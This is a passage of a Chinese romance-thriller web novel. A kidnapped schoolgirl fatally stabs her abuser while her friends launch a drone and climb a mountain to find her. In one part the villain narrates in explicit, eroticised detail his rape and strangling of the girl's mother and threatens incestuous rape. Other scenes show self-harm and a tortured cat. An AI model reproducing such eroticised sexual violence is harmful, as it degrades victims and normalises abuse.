“别废话行吗,你尽管去说去举报,让大家都知道好了。我好怕你啊温志强,你但凡还像个人,那就说到做到别光唬人。”
说完,温声眯起秀气的凤眼上下不屑地白他一记,隔空往他身上吐了一口口水,“什么时候你才会认清你只是一个畜生的事实?”
她现在丝毫不怕断腿的他。
“先别得意,你现在可是名副其实的替身,路家今晚就能知道你的身份,哦对了……”温志强磨着牙,阴阴一笑,“还真是期待一会该怎么向他们介绍,你到底是杀人犯的女儿,还是杀死他们亲生女儿的杀人犯的女儿?”
黎雨死了?
温声心里猛地一咯噔,阖了下眼,面上极力没表现出来,抬头,异常平静地看着她,她年纪阅历都不够和一个成年人交涉太多,尤其这人还是常年混迹在江湖最无耻的那类人,多说无益,只要路泊汀那边情况正常,她就当他说的都是屁话。
况且,他刚才说的这种情况她早在知道黎雨的身份时就想过无数次,但事实已定,她无法回到小时候,也无法再作选择,因为从始至终,她也是受害者,她凭什么要为他们二人的罪责买单?
姚书文和路康是明事理的人,他们不会将无端由的事迁怒到她身上,这是她非常能确定的。
就算……
姚书文晚上离开前那抹消耗殆尽的眼神忽然钉在她心上。
是让她心口很疼很疼的眼神。
温声咬紧唇,面无表情地坐直,逼自己看上去尽可能不在乎一些。
就算他们之间已经有了隔阂,但这也是正常的。
她能承受住。
“别再说这些没用的了温志强,你但凡多接触一些正常人,你说的这些情况都不会发生,别把他们代入你,你还不配。”
温声的校服袖子里藏着一把折叠刀,这是晚上离开前江乐橙给她的,没想到真派上用场了,手腕的麻绳虽然粗,但是不结实,她已经割断了一半。
温志强笑意一收,突然蹲在她旁边,伸手就要去碰她,温声浑身陡然一抖,连忙避开他的脏手,接着往他脸上快速又吐了一声口水,“温志强!我说你是畜生没错怪你吧!”
“你不是不愿承认是我女儿吗?那老子今晚就上服你,我这把年纪还能体验把不伦之恋,也算值了。”他抹了把脸,笑得很扭曲变态,两手抓着她的肩膀,一张臭嘴又要贴上去。
恶心死了!
温声迅速闪过头,手腕的绳子刚松开,骤然间,手里的刀就嚯地一下往他脖子直直划了去。
嘶!
温志强躲开的动作算敏锐,但脖子还是见了血,温声趁他错愕时,小刀立马往绑脚腕的绳子割去,她今晚绝不会放过任何一个救自己的机会,哪怕都是死,那也是他先死!
温志强蹭掉脖子上的血,眼睛怒不可遏地瞪起,然后捞起木棍子往她还在割绳子的手腕重重打去。
温声料到他要打过来,两腿并拢滚到一旁,她刚才就注意到他的腿脚不方便,也正是因为这个原因,她今晚才不怕他。
温志强看她滚出很远,他冒着冷汗,注意到手腕那个金属圆环滴滴了两声,紧接着红色的指示灯亮起。
妈的,他才想起自己还被那个小畜生给装了这玩意儿!
目光沉沉地看着她,不知道想到什么,温志强也没上赶着和她计较,忽然坐在她边上,手里的棍子在手心掂了掂,朝着半空叹了声气,如果有谁看到他这副样子,还以为他要吟两首诗。
只是温声却立即警惕地瞪起他,谁知道他下一秒有什么变态的动作。
“既然你不想认我,那就聊聊你妈好了,你总要认认这个女人吧?”
刚要自觉代入到姚书文,温志强就冷笑着打断她:“是生你的那个妈,没人和你提过她吧,如果我不说,这辈子谁还会记得她?”
生她的……
温声倏尔一怔,看着他,目光一时变得恍惚起来。
又丢了她的……
妈妈吗?
山顶的背坡风正斜斜吹过来,冒火星的木垛重新燃起高焰,火势吹向两人这边,温志强脸上那抹怨毒的笑实在刺眼,温声不动声色地握紧拳,沉下脸,冷着声问他,重复问:“她现在在哪里?还在江城吗?我有见过她吗?”
还有……
还活着吗?
“你能想象到她最后那个样子吗?”
温志强话弯一变,故意戏弄她一样,蹲下,又俯着半身往她脸上扒着看,然后咄地一声荒诞地笑出来,没回应她一个字,只顾着掏出烟点了一
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支,指节粗瘪的手夹着烟往自己木讷僵硬的脸颊抠了抠,黑紫的嘴唇开始半豁开,笑着说:“我从没见过哪个女人能像只蜈蚣在地上那样荡/妇难耐地趴着,手脚分身,脖子快断了一半,求救的姿势很怪,但照旧看得出她的身体很漂亮。”
手脚分身……
手里割绳子的动作冷不防一滞。
有一瞬间,就在他说完这句话后,温声脸色唰的白了,全身热血冲到头顶然后迅速凉下去,想出声,却只能张开嘴无意识动了动。
了解她的人都知道,她很爱很敬重姚书文,和对路康的感情不一样,爱母亲这个角色对她来说是出于本能,不需要任何条件就能做到,也不会再有任何一种身份是会比妈妈还要来得亲密。
但有一天,这个身份变成了另一个从未见过的女人。
她刚得知,一个被折磨到快要死的女人。
温志强见她像个植物人一样茫然地看着自己,忘了作任何回应,眼眶还一下涌上泪。
真是太满意这个反应了。
温志强有趣地拢起眉,面容变得沉思起来,眼里有层毫不遮掩的邪佞,好像一时陷进回忆,竟然望着落雪娓娓道来:“最后一次见她,她身上穿着一件枣红色的衬衣,胸口的扣子很骚地解开两颗,我从外边隔着窗都能试到她的软,就和我撕开她身上那套学生装压在房门口那个木桩子上面干的时候一样,两条腿跟木柴似的往外岔开,中间流的血比她那件衣服还要红……”
“啧啧,但我只觉得很暖和,很热,她躲得越急我就越觉得要干穿了才过瘾。”
“只可惜,吃她女乃的人变成了你。”
“但她竟然生下了我的崽!”
他嘴角癫笑一样快速抽搐着,又嘬了口烟头,往地上吐出一串白痰,觉得唏嘘,摇头放声怪笑起来,越笑越兴奋,被烟呛到后连咳好几声:“妈的!她对你看上去还那么爱,老子是真觉得不可思议,只见过一次,只操了一次,她就爱上了?这女人是傻的么?”
“不过我也要好好感谢你这个好闺女,如果不是她抱着你不撒手,我也不至于得手勒住她,她那半截脖子哟,不太好下手,细得很。”
温志强撑开手,用中指点了点自己的腿,咬着烟说得极为轻蔑:“跟她大腿那片一样细,我勒紧的时候,看到她一直掉眼泪,哭得很可怜,还用手捂着你的眼睛,我真怕她给你捂死了,但不得不承认她长得是真顺,没办法,我忍不住又搞了一次,我现在都能记起那股飘飘仙的爽,能死人的爽。”
“但可惜啊,太可惜了……”
“我还没爽够,她就凉了,你知道她最后说了句什么吗?”他重重吸了口剩下的烟,往温声的面直接呼去,“她叫我滚。”
“后来我仔细想了一下,原来她是叫的鬼。也可能是她要变成厉鬼死都不会放过我的意思吧,但你说,我把你从那个死人家里带出来,还让你好好长这么大,她有资格报复我么?”
“还有,忘了说……”
温志强一直说一直笑,站在原地,瘸起腿,来往虚踱着步子,捻开手里的烟丝,挑着指头往嘴里送,嚼了嚼,苦味溢出,强行咽了下去,激得他眼睛一瞪,好像想到了,手在她面前比划那两个字。
“当时在法庭上我记得她的档案写到她叫荷风,荷花的荷,风声的风,法大三年级学生,死的那年21岁。名字是个好名字,有寓意。”
“可惜,人是个婊/子。”
他眉目流露着遗憾,道了好几声可惜。
好像死的真是他爱了几辈子的老婆一样。
七零八落的话,浑浊,断续,但温声串起来后就听得极清晰露骨。
脑海里都是那些画面:被硬生生勒断的脖子,头颅滚地,四肢分解,身上和地上大片大片的血。
那个女人的红色身影此刻就像在不远处那堆火垛上面,火焰踪影飘飘,滋啦滋啦,像是那具□□发出被烤灼翻滚的声音——
“啊!”
温声捂紧耳朵放声惨叫起来。
77. 心脏
她杀人了。
一股极为浓秽刺鼻的铁锈味快速盖过湿冷的空气。
温声垂下头,破皮的两膝盖重重钉在地上,手不断打着哆嗦,因为握得太用力指间泛出骇然的灰青。刚才在和温志强的剧烈争夺中,手心被刀刃划出一道极深的血口,皮开肉绽,血水黏糊,顺着手心滴满她的毛衣,裤子,还有腿边那只忽然掉地的平安扣。
起初她只是呆呆跪着,好像感受不到任何痛,直到倒在一旁的人无力垂下一只胳膊,那只发黑的手很突兀地砸到她脚上,连泥地都被砸出一个印子。
她猛然打了个机灵。
那把十多公分的折叠刀完全、决绝,又不在她预料中地捅进了他腹部,暗红的血一时如飞镖滑过水面,血花溅到她握刀的手,脸,白皙的脖颈立马不再干净。
到后来,血喷了满地,映入眼里的红变得浓黑又刺眼,那堆燃着滋滋火星的木头隐隐熄灭。
温志强的肚子像泄气的皮球,微鼓,到慢慢扁下。
他就这样闭上了眼,求生挣扎时的冷汗被风随意一刮,连呼吸都被带走。
又不知坐了多久。
目光突然间触到刚才掉地的平安扣,上面编织的绳带早就被血染红,就在刚才,那块原本光滑有质感的黑曜石,中间的流线被磕出一条扭曲蜿蜒的细纹,正好分开了刻有的安康两个字。
温声的反射弧开始变得很迟钝,各种鸡毛蒜皮的事浮现,云烟过眼一样在身体的各个角落过了一遍。
不知能想到什么,可能从出生到现在,可能从昨晚到此刻,也可能想到了今晚吃的那家湘菜,还有他交给她的打火机。
那些事,十分钟前还是零碎明亮的,带着还未成型的绵长。
她又一时什么都记不起,后知后觉,只知道心里某个一直支撑她的东西忽然就没了,塌了,毫无防备。
脑子在这时“嗡”地一声,终于轰然炸开。
杀人了。
她杀了人。
她也是杀人犯了。
泪眼再次模糊。
路泊汀……
温声大汩大汩地往下掉眼泪,她像被人一拳抡到头上,终于回过神,温志强腹部的那把刀还有江乐橙的指纹,几乎是同时,她凭着本能慌忙扑到温志强身前,不敢抽出刀,只能抖着手去摇他的衣服,喉间溢出崩溃绝望的声音,面无血色地大声喊他:“温志强温志强!温志强你起来!!你别死你快起来……求你别死……我求你……我不要你死……我求你了……不要这么对我……”
她像精神分裂一样,惊恐万分地叫着他的名字,又道着无数声凄厉的歉:“我不是故意的……对不起……我不是杀人犯……对不起我不是……”
这个人!
这个害死妈妈的人!
她竟然现在还要反过来求他别死?!
“妈妈对不起……我对不起……我不是故意的……路泊汀……路泊汀我……”
温声一边失声大哭,一边愧疚自责地开始疯狂扇自己耳光,一下又一下,两腿在地上茫然地乱蹬,校服裤子都被碎石磨破,扇得半边脸都肿了,还在不停歇地扇,她又对着温志强声嘶力竭地大叫:“你满意了吧温志强!我变成杀人犯你满意了吧!我终于像你了你满意了吗!!!”
反反复复。
歇斯底里。
破碎的神经终于将她撕裂两半,她抱紧头趴在地上,呕着嗓子开始痛哭出声,一声一声的哀嚎,盖过身后相继出现的照片定格声。
*……*
夷农山山脚
何让生的无人机是他从特殊渠道搞到的军用级无人机,还是出口版的,因为机翼标有军方独有的型号,这玩意儿一旦被查到,麻烦有点大,他只好找人拆解又进行二次改装,所以通信指令的编程也就更复杂,这就意味着它的操作门槛和难度高了不止一点。
他一到晚上就懒得动脑子,一手夹烟,另一手转了个弯想丢给路泊汀,见他此刻刚刚好就是一副阴沉寒霜的死人脸,扯着唇凉凉一笑,又直接抛给庵加河。
“交给你了。”
都什么德性?
庵加河见怪不怪地笑骂一声,嘴里也赖赖散散咬着烟,灰蓝的烟雾卷着尾儿的往他眼里滚,微蹙的眉目转而专注,上手开始捣鼓那个无人机,什么书里见过的网上学到的,只要有用就全照搬出来,甚至他还将两年前实践模拟飞行时记的东西这会儿都用上了。
几分钟后,对几人来说很漫长的时间,指南和摇杆终于被校对准,咔的一声轻示音,手机配对好控制器,一切准备就绪。
“趁警察来前,我们有一刻钟时间送它上山,抓紧点,你两一个盯屏一个接线,待会儿——”
“老子管他们有什么要求。”
庵加河一顿,何让生吹着烟圈,接着看那个蹦脏话的人。
哟,活了。
一路沉默寡言的路泊汀踢开脚边两人落下的烟灰,抬眼,面无表情地直逼向他,从确认家里没人,到接受她被温志强带走这个事后,除了刚才发疯一样闯了一路灯开到山下,这会他就像一头锁炼在结冰的波面下暗自蓄力的狮子,周身被窒息的寒意一点一点席卷,微弯的背直起,冰面炸开一圈裂纹,“今晚谁来都不顶用,温志强我弄定了,别他妈墨迹赶紧开。”
庵加河今晚被爹打被喜欢的姑娘拒还被兄弟一嗓子喊,本来就破破烂烂的一张伤脸一下子就更可怜了,一边果断摁下远程遥控器的按钮,瞟着他,又叹气:“开啊,我开呗,这不得一点一点慢慢来么,催什么。”
飞行器伸开螺旋桨开始升空,50、100、200、300米……
高度不断变换,直到和山的中高带齐平。
滴滴滴滴——
屏幕出现安全飞行的震动反馈音,下一瞬飞行器就像闪电一样蹿了出去。
夷农山不像普通山脉那样任人自由登爬,它的半山有一片极其隐蔽的横断林地,整座山被割裂开,江鸿莱白天能上到山顶的水库,纯靠来回游荡在开发区的摆渡车,政府出于保护自然环境,它有固定的山规,每晚23点后暂时性封山。
手机屏幕就那么大点,满屏满屏地飞过乌泱泱的陡峭沟壑和盘根错节的古树,无人机擦着风声一直朝山里加速飞行,遇到雪雾气流了,热成像偶尔会模糊成一团。
山上的景象只从屏幕里看就觉得瘆得慌,长夜漫漫,雨雪无声地下,寂静,幽暗,充满压迫。
越看,心乱如麻。
“来不及了,我要先上去。”
瞅着人要走,何让生一把抓住他的胳膊,蹙着眉低声道:“出警要一段时间,他们这会儿已经在赶来路上了,姚姨还特意交代不让你先上去,而且我们不知道姓温的到底带了几个人在上面,你这样冒然进去如果到……”
“得了吧。”
没说完,手被倏尔大力甩开。
路泊汀唇边扯出抹嘲意,笑音几分空洞,他现在已经进入一种敌我不分的暴戾状态,“如果她是你的人,你现在还能等下去么?”
何让生吸着最后一口烟,偏头吐气,指尖一点,那点猩火被捻灭。
看着他没说话。
因为这就不算问题。
深深凝了一眼那座山,高耸在一片浓厚的黑雾里,没有一点亮灯。路泊汀阖下眸掩却眼底的不安,一头乌漆蓬茸的碎发被风吹乱,脸色冷白,偏过头扫向何让生,“你最好现在别挡我道,也别跟,我自己上去。”
他没带什么东西,只拿走庵加河另一个手机,长腿慢慢后撤,半身低伏,突然一个疾速跳冲,眨眼间就从那个两米高的铁丝防护栏翻了过去。
夷农山夜里温差大,山上低温湿冷,外加水泥积雪严重,大路这会很滑很不好走,而且路道很宽,如果对方真有几个人联手他很不好现身,记好导航路线和时间,路泊汀转身朝一段不太显眼的长满苔藓的丛道大步跑去,很快,人影就消失在山雾里。
“行了忙正事吧,你注意点屏幕,我总觉得这山上有点邪乎不对劲。”庵加河将手里无人机的遥控器和配件传感器往何让生怀里一堆,蹲下开始绑鞋带,“我也要进去,万一他自己应付不过来。”
何让生冷哼一声,没应他。
“喂,你不会真往心里记了吧?”
庵加河站起身推着他,定定瞅着他不算好看的脸色,以为他小心眼犯了要记仇,连忙劝道:“这事太突然了我们都没缓冲,何况是他,阿声和他你又不是不知道,你也有喜欢的姑娘,换个角度想,如果你是他,今晚谁都救不回你。”
他现在都记得他之前发疯的模样,发疯也就算了,还差点把自己搭进去。
没必要。
何让生抖开他搭上肩的手,闲闲地嘁笑一声:“什么时候你才能把追姑娘的心思花大家伙儿身上,他什么情况你没注意?”
他这么一反问,庵加河就不由怔住,细细回想,“除了没猜准阿声为什么会突然和他在一起,从小到大,他其他事我都知道好吧,还能有什么事?”
何让生慢条斯理地吹了声口哨,说话语气也很随性:“他心脏有问题。”
?
啊?
??
“你别逗我……”
听力仿佛一时骤衰,庵加河愣然睁大眼,然后一瞬不瞬地盯紧他,脑海中不断闪过这么些年几人一起长大的种种痕迹,他竟然一点都没察觉到!青紫的脸不由又涨红几分,缓冲了一下,沉声问:“严重吗?你怎么现在才告诉我?”
难怪很少抽烟喝酒,时不时以爹妈为由拒绝他们的散烟,平时打球
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也是收着劲儿地打,之前和省队那帮特长生打球赛,有人还故意顶肘往他身前撞,虽然最后赢了,但他后半场整个人状态就不好。
还有打架这事,不管为他自己,还是为兄弟,从小到大,他都是打得最狠的那个人。
我操!?
我操!!
打小就给他们兜底领头的人,他最好的兄弟。
他认为最应该健康的人。
……结果有心脏病?
一回忆,所有的所有都开始有迹可循,庵加河这会突然难受起来,他的心口也腾起火辣辣的烧灼,疼得慌,边苳几次三番地拒绝他都没这么难受。
“心脏长右边,刚出生时发育异常,还是我妈给做的手术,不过现在没什么大问题。这事没多少人知道,你也别说出去。还有……他心脏的耐受力不是很高,今晚这种山不能经常爬,随时会诱发心脏病。”
之前在雪山就差点犯病了,如果不是感冒药里混了抗心率的药,现在什么情况谁都说不准。
“我他妈!”庵加河情绪激动地大叫一声,有点崩溃,“那他之前还去爬雪山?不要命了!你够意思吗怎么不劝着点?”
“我多大能耐啊能劝动么?还是你能劝动?”何让生只是摇头笑了笑,又想起一件还挺心酸的事,“他这是遗传没办法,姚姨一直不知道,他刚出生没多久姚姨就住院了,还是路伯伯忙前忙后才照顾过来的。”
“遗传?那就是黎雨也有?“
路康是右位心,路泊汀也是,就连黎雨都是。
可阿声没有。
“他应该很早就知道阿声不是亲妹妹了,去年那封信只是契机。”
一边要竭力隐瞒父母,一边还偏要偷摸去喜欢自己的妹。
多惨一人。
现在没时间废话,无人机还在山上飘着,何让生注意一眼屏幕,热成像仪没什么特别的动静,但周围太静了,他总觉得哪里不对,果断掏出手机开始摇人:“喂妈,休息没?有个事需要您现在过来一趟……”
边说边打着手势,让面前的人抓紧进山。
庵加河的感性来的不合时宜,这会眼圈微红,低声用力咳回那股难受劲儿,他今晚腿伤得最重,但也顾不上那么多了,回身看路泊汀刚才走的那条道,刚要借力翻过去时,看到不远处站的人,脚步猛不丁一刹。
边苳。
想先开口,想对她笑,想走到她面前,但他反应过来自己脸上都是狼狈不堪的伤,立马扭过头,不看她,轻声问:“你怎么来了?”
然后就想到她的手机有自己的位置定位。
边苳背着一支最近用竹子做的弩,体积轻巧,外观弹性十足,通黑的弓身异常显眼地挂在她身后,她身着一身素净清冷的黑,从远处踩着步走来,直到走近,棒球帽的帽檐往后一转,清透淡然的眼从他脸上慢慢打量过,目光很自然,问得也很自然:“谁打的?”
不是不管我了吗?
不是又拒了我吗?
现在我算什么啊。
庵加河心里磨着自己的别扭,闷闷开口:“我自己摔得,不疼。”
边苳往他脸上又看了两眼,没多问,从口袋里取出一个浅色礼品袋,递他面前,“我有东西还你,还完我就走。”
午夜,晚上十二点,从市区大老远跑几十公里来到郊区,就为给他还这么个扯淡玩意儿?
是有多不想和他挂上关系?
庵加河心里的难受劲儿再次涌上,但还是微微一笑,抬手蹭开脸上的残余血渍,语气一如既往地温润:“既然礼物送你了,就没有再要回的道理。现在打车不安全,你先去我车里,我一会儿下山再送你……”
哐当。
边苳将东西放进他衣服,说走就真要走,背着弩刚要离开,视线往何让生手里的那个屏幕多看了一眼,步子停下,想了想,还是走过去,“这视频能往回倒几秒钟吗?”
何让生正好挂了电话,“怎么了?”
“刚才应该是有两个人晃过去了,速度很快,方向可能在往山下跑。”
庵加河立马收起受伤的表情,接过那个连接无人机的手机,“确定吗?”
一时间,几人的眼睛全部盯紧屏幕,呼吸静了又静,过了大概一分钟,没再看到什么人影。
“你们如果信我,现在就上山。”
对姑娘的第六感,何让生和庵加河从不怀疑,迅速对视一眼,点头,“我从左边上,你右边跟着。”
边苳取下弩,扶了扶有些酸痛的肩膀,看向何让生,“加个人,我也想上去看看。”
庵加河很自然地接过她的弩,往自己身上轻松一背,“那我跟你一起,我有点怕黑,还怕鬼,需要你保护我。”
迎来的就是何让生一句“呆逼”的叫骂声。
78. 小猫
寒风过耳,潦雪大落,大片草丛向后飞快撤退,只留下转瞬掠过的黑影。滴沥的潮,无声又稀落地遍布四处,周围的黑暗被头顶茂密的植被湮没,从进入林地的那刻起,原生态的森林气息骤然追了过来。
路泊汀大步狂奔在山路上,脚下逐风追电,灌满凉气的上衣冷冷嘭起,碎发濡湿,额角晃过汗。
黑夜中,整个人带着决然立断的寒意极快地穿梭在泥路里。
“喵呜——”
叫声突然传来,气咽声丝,在黑暗里莫名有些凄厉。
他眉头一拧,脚步滞了滞,以为是周围太静出现的幻听,喘着粗气,在极暗的树林里又仔细辨了一遍。
“喵呜……”
不出两秒,软咽的哀叫再次传来,这次很清晰。
还真是猫在叫。
这片区域没信号,气温低手机断电很快,还没撑多久就关机了,路泊汀拾起地上的木棍,借着树梢透进的光,往旁边没有任何防护栏还极有可能踩空的深沟隔着半空拨了过去。
拨了一圈,终于在旁楞长满野生杂草的树窝后找到一只猫。
一只被点烬的白色蜡烛围成一圈的猫,旁边还有一个刚挖不久的土坑。
夜里,深山,像是要被活埋的白猫,还趴着一动不动地朝他乱叫。
这场景诡异得很,哪怕他是个男的都有点瘆得慌。
啪!
一下甩开棍子,路泊汀抵着脸颊,低下眉,面无表情开始回视那只猫,管它是猫是鬼,越怕什么他就非要克回去,哪怕他现在很急也很烦,刚才那片断层的林子伸手不见五指,他盲走了一段长路,费了不少时间。
只是这猫突然出现,他就有点极不自在,好像今晚如果非要绕开它,一定会发生些什么不好的事。
操!
什么时候这么迷信了?
盯着盯着,从头到尾,那双灰黄色浑浊的猫眼终于被他看顺,只当是深山野林的小野猫,也不慌了,踢开脚边碍眼的棍子,打算折身继续找路。
那猫很应景地又朝他虚虚叫唤了一声,接着吃力地爬起小小的身子想要往他跟前蹭。
“喂,别过来。”
路泊汀懒懒歪着头,冷声警告,面上还嫌恶地撇起唇角,想装瞎想直接走,但看到它一脚一脚瘸瘸地要跳过来时,都没过脑,颀长的身影下意识一蹲,两手伸开一副要接住的动作,“怎么听不懂话……啧慢点儿。”
中间有条裂缝,不宽,三四厘米的样子,可它挪的就很费劲,像个袖珍毛绒球,他一把提溜起它的毛脖子,利利落落给拽了过来。
很瘦小,跟头几个月长不大的猫崽一样。
“哥们,你……”话音一顿,路泊汀轻咳着声,举高,找它的屁股,确定没叫错,转着指尖漫不经心地挠它,“今晚你出现的点儿很不巧,我赶时间没法儿和……”
他想着再扯两句废话就走,但手感不对,它的脊柱有一处光秃秃的,摸上去刺啦一扎,不像是得病后的脱毛,倒像是被人故意拔掉的。他眯眼仔细看了看,才发现它被土和雪水弄脏的白色皮毛间有几道暗红色的红肿溃烂,面积不小还很深。
是重度疥螨感染……
想到那些蜡烛和土坑,路泊汀脸色发沉,一口气堵着胸口不上不下的。
这帮畜生。
它很冷似的,毛茸茸的脑袋撞进他怀里不停发起抖,喵喵细叫几声后,就没什么力气地彻底静了下来。
路泊汀托起它往身前凑了凑,小心顺了顺它的毛,他穿得很少并不能带给它多少温度,树影斑驳,光束斜斜落下,他敛眸,在最短的时间内审视起它,清冷漂亮的鼻尖被扫出一抹柔和剔透的线条,从饱满的额尖向下水滑一样勾勒出他完美收紧的下颚。
然后……
小猫就听见他轻轻叹了声气,有抹无奈的笑意悄然流露,时间来不及思考多少,他抱起它,抬高到眼前,语气算得上认真:“我会带你走,但我要先去接我老婆。路不好走,你就在这里别乱动,一个小时内我和她一定来接你。”
说完还捞起它的爪子对碰了一下。
算是对它的承诺。
“成吗?”
“喵呜!”
黑地里对一只猫正儿八经地许着诺言,这行为有点傻气,说他现在是个傻子也不为过,尤其这家伙还听不懂人话,只知道用尖利的指甲抠着他死是个不放。
但是,就这样吧。
转身,瞥到那堆给死人烧的蜡烛,恶心刺眼得很,路泊汀一手抱猫,几步上前就是一顿扫踢,那些垃圾一个不落全被踹进土坑。
他动作极其熟练地挠了挠它的下巴,然后找到一处干净没多少潮气的平地,拱着手将它放了上去。“可能不到一个小时我们就来了。”
“喵呜喵呜……”
刚一落地,这猫就立马腿急腿快地再次滚到他手里。
……
又不是不管了。
路泊汀头疼的不行,来来去去几分钟又耗没了,只好将它单手夹进臂弯,低头问了一句:“我们要去找你的靠山,对我来说最最重要的人。没时间了我得带你跑起来,会难受,能忍忍吗?”
说完曲起长指弹了弹它的小脑瓜。
猫猫挂在他身上,乖乖的,贴得也很紧。
“喵嗷!”
挨上热度,这回它像来了点力气,喊得中气十足,细细的小尾巴也转着旋儿地在他怀里飞起来,他的衣服呼呼被揪起一个角。
路泊汀打了记响指,抱着它开始找方向,没有光,也没有标记物,深山里很容易迷路,他在原地扫视着四周的树,刚才进来时,左手边有一棵缺角的乔木,上面还挂一只白色塑料袋。
林子里湿雾黑沉沉,他转了一圈,不知道为什么突然就找不到了。
“喵呜。”
小猫甩着尾巴朝另一侧方向忽然一叫。
路泊汀跟着它的动作看过去,正对眼,一下就见到那只突然出现的塑料袋。
很神。
“哇哦厉害!”路泊汀勾唇一笑,表扬一样搓了搓它的毛绒脑袋,给它起外号,“小神猫。”
猫猫吐着舌头,立马缩进他手里。
它太小了,路泊汀卷起半边衣摆将它包起来,不至于等会儿跑的时候被甩出去。
然后迈着大步重新在湿泞里跑起来。
夜里已经很静,漫天雪絮变为挂枝的雪片。
迎风冒雪又跑了一刻钟,在距离山顶还有一截路时,上坡忽然有声音传来,他慢慢停下,耳根微动——
“朱哥……”
“怎么?”
“你说姓温的真死了吗?”
一阵沉默。
“躺着半天不动,血还流那么多,不会是真死了吧?”
“呵呵,死了不好么?”
……
姓温的
……
死了
……
像被当头一棒,脚步怎么都迈不出,路泊汀一手撑向面前的土堆,头微垂,胸口起伏,还喘着粗气。
一时,四面时空急转直下,风云骤变。
“唉,那死相真惨啊,感觉血都要流干了。”
“就算流成干尸,跟你我有屁关系?”
那两人不紧不慢说着话,有一人还呷呷笑出嘲弄流气的笑,口气极轻蔑。
路泊汀硬生生定在原地,呼吸短促,一动不动,周身冷气沉沉萧疏。
咚
咚
心跳加速,钝重,一下下叩打着胸口,后背紧跟着出现阵痛,他弯下身疯狂呼吸,碎发满是跑动的汗,从额头滴到眼里,直到流进颈边。
他盯住自己的鞋尖,大脑一时刺激突然迟钝半拍,只记得姓温的只有她。
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>死了是什么意思?
黑亮的眸子失神地抬起,一眨不眨,边反应,边看他们。
他们还在说话,一句接一句,“这贱人,妈的早该死了,我都想上去补一刀。”
温声死了?
他一时对这个名字陌生起来。
但眼前有一双琥珀绿的眼睛突然对他眯起笑了笑。
骤然间,一股彻骨的骇然直袭他全身。
魄散,魂消。
只那一瞬,路泊汀身上的活气一下全抽空,从里到外,整个人瞬间五内俱崩。
他眉宇紧蹙,很突然,脸色也一下变得煞白,抬手压上胸口,大口大口的喘息。
小猫从衣摆里探出脑袋急忙去舔他青筋暴起的手背,叫声又尖又细:“喵呜!”
“他命数就到这了,我估计这回肯定悬了……”正说话的人拉住旁边人的手臂,往边上一扯,“诶你别走那道!大路肯定有监控,我们往树梢子里走,我先放个水。”
也不知道是不是紧张,这放水声跟缩了洞口似得断断续续响起,放的憋屈,听的也憋屈,为了压过这要萎了的水声,两人低声交谈的话又起。
“他要是死了对我们没任何好处,朱哥……咱们实在没必要淌今晚的浑水,被抓到是要坐牢的,你我都有案底,再进去可就出不来了,我妈最近才检查出肝上有问题,我不能不在啊……”
一顿,喘息声沉闷。
紧接着,低浊的切切声更小了:“我们手上这视频,我看还是删了吧?”
“删你妈!废话这么多!”
被叫朱哥的男人突然啐了口,一拳挥到那人肩上,又连忙扶住自己半残废的祸根,抖了抖尿沫子,破口大骂:“我们现在最缺的就是钱!钱钱钱你个蠢货懂么!你妈看病不得要钱!做都做了你现在还回嘴有个叼毛用我问你?有时间担心这那的,不如想想靠这视频能捞到多少,到时候拿到钱你爱滚哪滚哪,别他妈烦老子!”
那小弟一脚被踢到一旁,裤子掉脚上,差点被绊倒,脸上满是窝火,但又不敢反抗,只好从衣服里掏手机:“快没电了,这录音不知道能不能存完好。”
“你放我兜里,等一阵下山先找个超市充电!这视频可是我们的救命稻草,没了,你我才要完蛋。”
他们身形一高一低,都是膀大腰圆的大块头,面部被黑布半蒙,卷曲的短发乱披散,刚才着急忙慌一路跑,这会儿精神头松懈下来,放完水,还慢吞吞提起裤子。
金属裤扣在夜里咔哒咔哒晃个响,两人这会心里都压着事,没再开口说话。
风吹,树影扰动,寒雪轻轻飘。
一切仿佛如常。
身后几米外的斜坡,长满杂草圆圆顶起,正好遮住一人。
路泊汀眼里一片潮红,气温又低了,吹得他脸生白,唇色异样的红,邃密的黑夜细致隐晦地在他苍白的脸上蒙上一层美玉般的诡艳,听到那两人提好裤子要走人,有抹锋棱溢出眉眼,幽深,冰冷到极致。
小猫被他放在平地上。
垂眼,他开始脱衣服。
它的尾巴一甩一甩的,翘着小步子还想跳到他身上,身上就一沉,那件有他体温的毛衫被他裹了上来,很暖和,它被包的很严实。
“喵呜……”察觉到什么,小猫的声音和尾巴同时耷了下来。
路泊汀赤着上身,又解手串,一圈一圈,嘴唇碰了一记那串黑色细手串,眼里生疼,然后他轻轻挂向它脖子,眼睛一下很红很红,喉间微滚,嘶哑着嗓子说出最后一句话:“抱歉,我的朋友会带你走。”
小猫的脑袋被他大手拢了拢,然后就看到他拔起旁边带刺的长藤条,闪电一样冲了出去!
“喵呜!喵呜!”
它急急巴巴地从衣服里跳出来,顺着土坡向山顶快快跑上去。
脖子上的手串,硠硠一直响,跟着它飞快消失在黑夜里……
79. 四年
“喂你好,请问是叫江乐橙吗?”
最后一科考试刚合笔,教室外就扬起了大片阵雪,铃声响起,这场持续大半个月的大学期末周终于在一片吵闹声中结束。天色早就暗了下来,北边这个寒冷灰蒙蒙的城市,冬季好像来得格外的漫长。
江乐橙嘴里叼着文具包绕回走廊,她这门课考点在市里的老校区,头顶的小灯泡滋啦滋啦闪着颓旧的灯丝,往前挤了半天,终于在那个人挤人的储物柜前艰难取走手机,刚开机就有一通电话跳进。
以为是垃圾电话,再加上晚上要跟室友出去聚餐,时间很赶,她没什么兴致地点着脑袋,“您有什么事吗?有话劳烦快说,忙着呢。”
对面的人嘶了一声,无奈道:“给你打了不下十通电话,你可终于接了,我是派件员啊,有一个从江城发出的快递需要你今晚9点前签,这是保密快件没法滞留的哈,过时会原路退回,有时间的话,现在就抓紧来21栋吧!”
从老校区回去就算坐地铁也要将近一个小时,更别提校车了。
江乐橙走出教学楼,没来及哈气,就被风卷起的雪点子糊了一脸,她冻得直哆嗦,问道:“可能有点赶不及,您看看是什么东西啊?轻的话我就不要了。”
说不要就不要,实在不太懂现在年轻人的脑回路,派件员只得失笑,掂了掂手里的东西:“倒不重,但也不轻,丢了多可惜啊,万一是你认识的人给你寄的圣诞礼物?再轻也可珍贵着呢。”
也不是没这种可能,圣诞节这才刚过一天,说不定是家里爸妈寄来的,无非是一些水果混嘴子之类的东西,江乐橙往校外的方向赶,然后胡乱应付道:“行行行我知道了昂叔,二十分钟内去取,您帮我先放好,谢谢喽!”
挂了电话,她给寝室里的范朵朵去了一条信息:朵朵,你出来前记得去一趟北区的驿站给我取个快件,顺便再带个帽子,今晚太冷了我天!我先去店里排号,么么么么!!
